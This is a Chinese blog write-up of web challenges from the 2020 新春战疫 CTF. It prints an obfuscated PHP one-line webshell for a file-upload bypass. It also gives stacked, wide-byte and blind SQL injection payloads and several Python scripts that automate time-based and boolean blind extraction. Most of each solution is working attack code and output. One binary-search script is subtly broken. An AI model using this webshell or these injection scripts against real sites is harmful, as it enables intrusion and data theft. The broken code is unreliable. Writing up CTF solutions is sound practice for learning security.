打了一天的球大晚上的才想起来。。十点就结束了

Web

ezupload

文件上传,编辑一个一句话木马evil.php(中国蚁剑可以生成)

1
2
3
4
5
6
7
<?php
$wBZS=create_function(base64_decode('JA==').chr(01110-0725).base64_decode('bw==').base64_decode('bQ==').str_rot13('r'),str_rot13('r').str_rot13('i').base64_decode('YQ==').base64_decode('bA==').chr(0657-0607).chr(0362-0316).str_rot13('f').chr(933-822).chr(981-872).str_rot13('r').base64_decode('KQ==').base64_decode('Ow=='));$wBZS(base64_decode('ODE1O'.'DQ2O0'.'BldkF'.'sKCRf'.''.chr(46410/546).str_rot13('R').chr(01625-01534).base64_decode('VA==').base64_decode('Vg==').''.''.str_rot13('S').base64_decode('dA==').str_rot13('w').chr(813-715).chr(73863/849).''.'RdKTs'.'yNDQ3'.'NTM4O'.'w=='.''));

echo("\n--------");

?>
asdzxc

上传后显示文件地址

然后中国蚁剑链接,密码cmd。根目录下有flag,和readflag,直接点flag是没有结果的,查看权限(0711)就知道了,readflag的权限是(4755),应该就是通过执行readflag来读取他本地的flag,然后进入蚁剑的虚拟终端(Orz…),进入根目录然后执行readflag,ok

image-20200221080701176

blacklist

  • 堆叠注入

类似强网杯的随便注

image-20200224010726589

通过这个过滤函数看出来,堆叠注入没办法使用预处理语句,所以堆叠注入最多只能注入出表名,列明,数据库名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1';show databases;
array(1) {
[0]=>
string(9) "supersqli"
}

1';use supersqli;show tables;
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

1';use supersqli;show tables;describe FlagHere;
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

利用 mysql Handler

MySQL的DECLARE…HANDLER使用

HANDLER语法

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

payload:

1
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1
2
3
4
array(1) {
[0]=>
string(42) "flag{89743041-eb8d-43c5-b965-fdb51afacc2d}"
}

easysqli_copy

  • 宽字节注入
  • 盲注
  • 堆叠注入

宽字节注入原理

sql使用gbk字符时,一个gbk编码的汉字占两个字节。比如:%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’。

盲注:

?id=1%df' and 1=2 %23

页面正常返回,确认该点存在注入

1
?id=1%df%27;set @base=CONCAT("SELE","CT ","databa","ses();");prepare pr1 from @base;execute pr1;

payload1

预编译支持把语句进行十六进制的编码,和ascii编码注入,这样就能绕过关键词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
flag=''
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x','') for c in s])
for i in range(1,50):
print(i)
a=0
for j in range(32, 128):
sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(i)+",1))='"+str(j)+"'),sleep(3),2);" # balabala,eihe,fllllll4g
sql_hex = str_to_hex(sql)
url = "http://177bc1216dbb425eadc08e04596972703c678bc9a4ed4cfc.changame.ichunqiu.com/?id=1%df%27;SET @a=0x" + str(sql_hex) + ";PREPARE st FROM @a;EXECUTE st;"
try:
result = requests.get(url, timeout=3)
except requests.exceptions.ReadTimeout:
flag += chr(j)
print(flag)
a=1
break
if a==0:
break

payload2

过滤了select,但是可以用concat+char构造select
用set+prepare+execute 来读取数据

不能直接concat将字符分割,因为PDO是过滤双引号的,例如:

image-20200224044020760

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
url = 'http://a98055a96df440a5b22efb8a9a282bab4d5239406f904837.changame.ichunqiu.com/'
#url = 'http://192.168.92.129/CTF/ichunqiu2020/easysqli_copy/'
def databaseLength():
for i in range(1,30):
t1='select if(length(database())={},sleep(3),1)'.format(i) # database() length
t2 = ''
for k in t1:
t2 += 'char({}),'.format(ord(k))
t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;".format(t2[:-1])
payload = '?id=1%df%27;{}'.format(t3)
#print(payload)
try:
re1 = requests.get(url+payload,timeout=3)
except Exception as e:
print("[*] database length: {}".format(i))
break
print("[*] Database length explore completed!")

def getTableName(databaseName="database()"):
res = ''
hasnext=True # Used to determine if the scan is complete
for pos in range(1,43):
if hasnext:
hasnext=False
for exp in range(45,126):
t1 = 'select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema={database}),{position},1))={exploer},sleep(3),1)'.format(database=databaseName,position=pos,exploer=exp)
t2 = ''
for k in t1:
t2 += 'char({}),'.format(ord(k))
t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;".format(t2[:-1])
payload = '?id=1%df%27;{}'.format(t3)
# print(payload)
try:
re1 = requests.get(url+payload,timeout=3)
except Exception as e:
hasnext=True
res += chr(exp)
print(res)
break
print('res:'+res)
print("[*] Table_Name explore completed!")
return res

def getFlag(TableName,ColumuName):
res = ''
hasnext=True
for i in range(1,43):
if hasnext:
for s in range(45,126):
t1 = 'select if(ascii(substr((select {column} from {table}),{position},1))={exploer},sleep(3),1)'.format(column=ColumuName,table=TableName,position=i,exploer=s)
t2 = ''
for k in t1:
t2 += 'char({}),'.format(ord(k))
t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;".format(t2[:-1])
payload = '?id=1%df%27;{}'.format(t3)
#print(payload)
try:
re1 = requests.get(url+payload,timeout=3)
except Exception as e:
hasnext=True
res += chr(s)
print(res)
break
print('res:'+res)
print("[*] Flag explore completed!")


databaseLength()
getTableName()
getFlag("table1","fllllll4g")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
id=1%df%27;set @t1=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(105),char(102),char(40),char(97),char(115),char(99),char(105),char(105),char(40),char(115),char(117),char(98),char(115),char(116),char(114),char(40),char(40),char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(108),char(108),char(108),char(108),char(108),char(52),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(116),char(97),char(98),char(108),char(101),char(49),char(41),char(44),char(52),char(50),char(44),char(49),char(41),char(41),char(61),char(52),char(53),char(44),char(115),char(108),char(101),char(101),char(112),char(40),char(49),char(48),char(41),char(44),char(49),char(41));PREPARE t2 FROM @t1;EXECUTE t2;
[*] database length: 7
[*] Database length explore completed!
t
ta
tab
tabl
table
table1
res:table1
[*] Table_Name explore completed!
f
fl
fla
flag
flag{
flag{0
flag{0c
...
flag{0c2c2daa-0408-44ba-bac2-003211b82cc8}
res:flag{0c2c2daa-0408-44ba-bac2-003211b82cc8}
[*] Flag explore completed!

简单的招聘系统

先注册一个账号admin:admin,然后在登陆的地方测试有没有sql注入

  1. admin' and 1=1#提示登录成功
  2. admin' and 1=0#提示登录失败

很明显可以进行盲注

继续测试过滤词发现没有什么被过滤的,所以直接盲注干就完了!

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# encoding=utf-8
import requests
url = 'http://d3be80acd6b647538ef872aaf3a60eba55137cfb4e1b455c.changame.ichunqiu.com/index.php'

#payload = "2' and (select (mid((select database()),1,{0})))!='{1}"
#payload = "2' and (select (mid((select table_name from information_schema.tables where table_schema='nzhaopin' limit 1 offset 3),1,{0})))!='{1}"
#payload = "2' and (select (mid((select column_name from information_schema.columns where table_name='flag' limit 1 offset 1),1,{0})))!='{1}"
payload = "2' and (select (mid((select flaaag from flag limit 1 offset 0),1,{0})))!='{1}"
# backup flag user flag: id flaaag
flag = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789_-{}'
for i in range(1,80):
for n in letter:
data={
"lname": payload.format(i, flag+n),
"lpass": 'xxx'
}
req = requests.post(url,data=data)
req.encoding = 'gbk'
#print(req.encoding)
print(data["lname"])
#print(req.text.encode('gbk').decode(req.apparent_encoding))
if "成功" not in req.text.encode('gbk').decode(req.apparent_encoding):
print("* "+n)
flag+=n
print(flag)
break

payload2 二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string
url='http://53204ecfab104ab59f348e6630a591febde427b11c25454a.changame.ichunqiu.com/index.php'
letter = '{}{}0123456789_-{},()'.format(string.ascii_uppercase,string.ascii_lowercase,"{}")
def BiggerThanMid(payload,num): # if bigger than num,it return True
payload.format(num)
data={
"lname": payload,
"lpass": 'admin'
}
content=requests.post(url,data=data)
if "成功" in content.text.encode("utf-8").decode(content.apparent_encoding):
return True
else:
return False

def BinaryInjection(payload): # maxLength: Assume the maximum length of the database
min = 1 # 最小的下标
max = 255 # 最大的下标
while (max-min)>1:
i += 1
mid = (max + min) // 2 # 中间的下标每次向下取整(rounding down)
if BiggerThanMid(payload,mid) :
min = mid # 大于需要的猜的数,则将最小下标变为中间的
else :
max = mid # 小于需要的猜的数,则将最大下标变为中间的
return max

def databaseLength():
payload="admin' and if(length(database())>{},1,0)#" # length of database
return BinaryInjection(payload)
return databaseName

def getxxxName(payload,length=20):
xxxName=""
for i in range(length):
payload=payload.format(i)
xxxName+=chr(BinaryInjection(payload))
return xxxName

if __name__ == "__main__":
Length=databaseLength()
getDatabaseName="admin' and if(ascii(mid((database()),{},1))>{},1,0)#"
DatabaseName=getxxxName(getDatabaseName,Length)

getTableName="admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)#"
TableName=getxxxName(getTableName,20)

#getColumnName="admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=--------),{},1))>{},1,0)#"
#ColumnName=getxxxName(getColumnName,20)

easysqli

  • bypass information_schema

id=1时返回nu1lid=1 or 1=1#提示sql injection,

2020新春战疫公益CTF

新春战疫CTF